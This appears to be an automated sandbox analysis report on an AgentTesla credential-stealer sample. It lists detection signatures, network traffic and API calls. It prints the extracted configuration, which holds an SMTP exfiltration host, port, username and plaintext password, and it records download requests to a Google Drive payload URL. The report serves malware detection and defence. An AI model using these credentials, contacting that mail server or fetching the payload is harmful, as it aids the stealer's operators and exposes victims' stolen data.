Edit tour

Windows Analysis Report
3Pd480eWHA.exe

Overview

General Information

Sample name:	3Pd480eWHA.exe renamed because original name is a hash value
Original sample name:	0c2b883b2bff3ab75adf1d79049fffe5de810c19cb65e1b3a4e14d73ca10598c.exe
Analysis ID:	1550181
MD5:	c91d3b24dd89ae81099db451a512ba38
SHA1:	9d69cf3aafd3743216ea9d3777be0e2528c9b6ce
SHA256:	0c2b883b2bff3ab75adf1d79049fffe5de810c19cb65e1b3a4e14d73ca10598c
Tags:	exeuser-adrian__luca
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

AI detected suspicious sample

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

3Pd480eWHA.exe (PID: 760 cmdline: "C:\Users\user\Desktop\3Pd480eWHA.exe" MD5: C91D3B24DD89AE81099DB451A512BA38)

3Pd480eWHA.exe (PID: 3260 cmdline: "C:\Users\user\Desktop\3Pd480eWHA.exe" MD5: C91D3B24DD89AE81099DB451A512BA38)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.showpiece.trillennium.biz", "Username": "build@showpiece.trillennium.biz", "Password": "3KJ[T.3]fsSW"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2521682008.0000000035841000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2521682008.0000000035841000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: 3Pd480eWHA.exe PID: 3260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3Pd480eWHA.exe PID: 3260	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Sigma Signatures

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 67.23.226.139, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\3Pd480eWHA.exe, Initiated: true, ProcessId: 3260, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49977

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-06T15:06:21.524123+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.7	49740	TCP
2024-11-06T15:07:01.749231+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.7	49956	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-06T15:07:14.059270+0100	2803270	2	Potentially Bad Traffic	192.168.2.7	49974	172.217.16.206	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 3Pd480eWHA.exe.760.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.showpiece.trillennium.biz", "Username": "build@showpiece.trillennium.biz", "Password": "3KJ[T.3]fsSW"}

Multi AV Scanner detection for submitted file

Source: 3Pd480eWHA.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 3Pd480eWHA.exe

Joe Sandbox ML: detected

Source: 3Pd480eWHA.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.217.16.206:443 -> 192.168.2.7:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49976 version: TLS 1.2

Source: 3Pd480eWHA.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_00406010 FindFirstFileA,FindClose,	0_2_00406010
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_004055AE GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055AE
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00406010 FindFirstFileA,FindClose,	9_2_00406010
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00402688 FindFirstFileA,	9_2_00402688
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_004055AE DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	9_2_004055AE

Source: global traffic

TCP traffic: 192.168.2.7:49977 -> 67.23.226.139:587

Source: Joe Sandbox View	IP Address: 67.23.226.139 67.23.226.139
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: DIMENOCUS DIMENOCUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.7:49740
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:49956
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49974 -> 172.217.16.206:443

Source: global traffic

TCP traffic: 192.168.2.7:49977 -> 67.23.226.139:587

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.showpiece.trillennium.biz

Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.showpiece.trillennium.biz
Source: 3Pd480eWHA.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: 3Pd480eWHA.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.00000000357F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://showpiece.trillennium.biz
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.00000000357F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.00000000357F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: 3Pd480eWHA.exe, 00000009.00000002.2521682008.00000000357F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: 3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/.
Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.00000000052B3000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2501147074.0000000006E10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa
Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.00000000052B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHaB
Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.00000000052CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: 3Pd480eWHA.exe, 00000009.00000003.1980141600.00000000052E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.2011831412.00000000052DF000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa&export=download
Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.00000000052CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa&export=download2
Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.00000000052B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa&export=download3
Source: 3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: 3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: 3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976

Source: unknown	HTTPS traffic detected: 172.217.16.206:443 -> 192.168.2.7:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49976 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\3Pd480eWHA.exe

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Code function: 0_2_00405063 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405063

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_004030EC EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004030EC
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00403123 lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		9_2_00403123

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_004048A2	0_2_004048A2
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_004048A2	9_2_004048A2
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_0011E289	9_2_0011E289
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_0011A500	9_2_0011A500
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_0011A950	9_2_0011A950
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00114A98	9_2_00114A98
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00113E80	9_2_00113E80
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_001141C8	9_2_001141C8
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C3108	9_2_389C3108
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C6698	9_2_389C6698
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389CB2BA	9_2_389CB2BA
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389CC220	9_2_389CC220
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C7E20	9_2_389C7E20
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C5648	9_2_389C5648
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389CE440	9_2_389CE440
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C0040	9_2_389C0040
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C5D83	9_2_389C5D83
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C2338	9_2_389C2338
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C7740	9_2_389C7740
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_38EA1988	9_2_38EA1988
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_39004B48	9_2_39004B48
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_39000448	9_2_39000448
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C0006	9_2_389C0006
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_389C0037	9_2_389C0037

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Code function: String function: 00402A3A appears 52 times

Source: 3Pd480eWHA.exe

Static PE information: invalid certificate

Source: 3Pd480eWHA.exe, 00000009.00000002.2521643699.00000000356E9000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 3Pd480eWHA.exe

Source: 3Pd480eWHA.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/11@4/4

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_004030EC EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004030EC
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00403123 lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		9_2_00403123

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Code function: 0_2_0040432F GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040432F

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

File created: C:\Users\user\AppData\Local\demarkerede

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsm111C.tmp

Jump to behavior

Source: 3Pd480eWHA.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3Pd480eWHA.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

File read: C:\Users\user\Desktop\3Pd480eWHA.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\3Pd480eWHA.exe "C:\Users\user\Desktop\3Pd480eWHA.exe"
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process created: C:\Users\user\Desktop\3Pd480eWHA.exe "C:\Users\user\Desktop\3Pd480eWHA.exe"
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process created: C:\Users\user\Desktop\3Pd480eWHA.exe "C:\Users\user\Desktop\3Pd480eWHA.exe"	Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: msls31.dll	Jump to behavior
